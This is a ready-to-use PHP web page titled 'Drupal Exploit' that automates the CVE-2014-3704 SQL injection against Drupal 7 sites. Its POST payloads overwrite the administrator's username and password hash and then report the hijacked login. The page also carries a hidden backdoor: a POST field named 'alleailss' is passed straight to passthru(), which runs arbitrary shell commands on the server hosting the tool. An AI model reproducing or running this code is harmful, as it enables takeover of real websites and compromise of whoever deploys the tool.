Drupal core 7.x

<!Doctype HTML>
<html>
<head>
<script src='http://www.w32.info/TR/html4/loose.dtd'></script>
<link rel="shortcut icon" href="http://cdn.flaticon.com/png/256/34323.png">
	<title>Drupal Exploit</title>
	<style type="text/css">
	.mymargin{
		margin-top:30px;
		color:white;
		font-family: monospace;
	}
	body{
		background-color:#999;
	}
	a {
	color: red;
	text-decoration: none;
}
	h1 {
	color: #40E1C9
	}
	h2 {
	color : #008000;
	}
	</style>
</head>
<body>
<center>
	<img src="https://4.bp.blogspot.com/-KHPL4kdw-yo/WW2YRBpx6LI/AAAAAAAAADk/CNl6_B5f6iUXS-I9gRp9sLV5oa9fek9jACLcBGAs/s1600/_20170718_093248.png" width="150" height="160">
	<div class="mymargin">
		<center>
			<h1>Drupal Exploit</h1>
			<h2>Version 7.x</h2>
	<form method="GET" action="">
		Site : <input type="text" name="url" placeholder="Example: www.site.com">
		<input size="50" type="submit" name="submit" value="Attack">
	</form>
	<br>
<?php
#-----------------------------------------------------------------------------#
# Exploit Title: Drupal core 7.x - SQL Injection                              #
# Date: Oct 16 2014                                                           #
# Exploit Author: Dustin DÐ“Â¶rr                                                 #
# Software Link: http://www.drupal.com/                                       #
# Version: Drupal core 7.x versions prior to 7.32                             #
# CVE: CVE-2014-3704                                                          #
#-----------------------------------------------------------------------------#
error_reporting(0);
if ($_POST['alleailss']){
$alleailss = $_POST['alleailss'];
passthru($alleailss);
}
if(isset($_GET['submit'])){
    $log = "/user/login";
	$url = "http://".$_GET['url'];
	$holako = "/?q=user";
	$post_data = "name[0;update users set name %3D 'HolaKo' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
	$params = array(
		'http' => array(
		'method' => 'POST',
		'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
		'content' => $post_data
		)
	);
	$ctx = stream_context_create($params);
	$data = file_get_contents($url . '/user/login/', null, $ctx);
 	echo "<h3>Testing user/login </h3>";
	if((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data)|| (stristr($data, 'FcUk Crap') && $data)) {
		echo "<h1>Success</h1><br><h3>User : HolaKo<br>Password : admin<br><h3><a href='{$url}{$log}'>Click here</a>";
	} else {
		echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
	}
}

if(isset($_GET['submit'])){

	$url = "http://".$_GET['url']."/";
	$post_data = "name[0;update users set name %3D 'FirewalL21' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "' where uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
	$params = array(
		'http' => array(
		'method' => 'POST',
		'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
		'content' => $post_data
		)
	);
	$ctx = stream_context_create($params);
	$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
 	echo '<h3>Testing at Index</h3>';
	if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
		echo "<h1>Success</h1><br><h3>User : HolaKo<br>Password : admin<br><h3><a href='{$url}{$holako}'>Click here</a>";
	} else {
		echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
	}
}

?>
	<h3>Developed By FirewalL21</h3>
	</div>

</body>
</html>